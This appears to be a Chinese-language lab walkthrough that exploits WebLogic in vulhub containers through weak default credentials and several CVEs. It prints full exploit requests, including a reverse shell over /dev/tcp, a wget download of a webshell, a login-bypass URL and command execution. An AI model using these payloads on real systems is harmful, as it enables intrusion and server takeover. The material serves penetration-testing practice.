后台弱口令getshell
1.开启环境
cd vulhub-master/weblogic/weak_password
docker-compose up -d
docker ps
2.f访问靶场
访问/console/login/LoginForm.jsp这个目录进行登录,
默认账号密码:weblogic/Oracle@123
需要注意的是单个账号进行登录时,输入5次错误之后会自动锁定
3.登录后依次点击部署----安装
4.安装完成后点击上传,制作一个war包进行上传
然后一直点击下一步,最后点击保存
4.访问我们的上传的文件,
目录为shell/shell.jsp
使用哥斯拉测试连接
CVE-2017-3506
1.开启环境
依旧是上一个weak-password环境
2.验证/wls-wsat组件的存在
访问/wls-wsat/CoordinatorPortType目录
3. 在当前页面进行抓包,添加下面的请求包,反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 47.121.191.208:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/47.121.191.208/6666 0>&1</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
监听6666端口,放行数据包,查看监听结果
CVE-2019-2725
1.开启环境
也就是weak-password环境
2.验证漏洞存在
访问/_async/AsyncResponseService目录
出现此页面就算存在漏洞
3.在此页面进行抓包,并将数据包改为如下数据包
POST /_async/AsyncResponseService HTTP/1.1
Host: 47.121.191.208:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 839
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://47.121.191.208/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/666.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
4.在bea_wls_internal目录中访问我们的文件
5.使用哥斯拉进行连接
CVE-2018-2628
1.开启环境
cd vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d
2.访问靶场
3.使用Java反序列化漏洞利用工具V1.7 by shack2 进行检查
CVE-2018-2894
1.开启环境
cd vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d
2.这个环境获取密码用户名是随机的,我们需要确认我们的密码是什么
docker-compose logs | grep password
3.访问靶场,访问console进入输入界面,输入密码用户名
4.设置Web服务测试开启
域结构 -> base-domain -> ⾼级 -> 启动Web服务测试页
5.点击保存 , 进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
6.点击安全 , 点击添加
7.打开控制台, 找到对应时间戳
8.访问我们的木马文件
目录:/ws_utc/css/config/keystore/1727084710346_shell.jsp
9.使用哥斯拉测试连接
CVE-2020-14882
1.开启环境
cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d
2.访问console目录进入用户界面
3.使用下面URL绕过登录
http://47.121.191.208:7001/console/css/%252e%252e%252fconsole.portal
4.此时还没有getshell,可以利⽤第⼆个漏洞(CVE-2020-14883),远程加载XML⽂件拿到Shell
访问以下 URL ,以连接 2 个漏洞并执⾏以下命令
http://192.168.10.190:7001 /console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
5.此时回到docker可以看到成功getshell
docker exec -it 容器编号 /bin/bash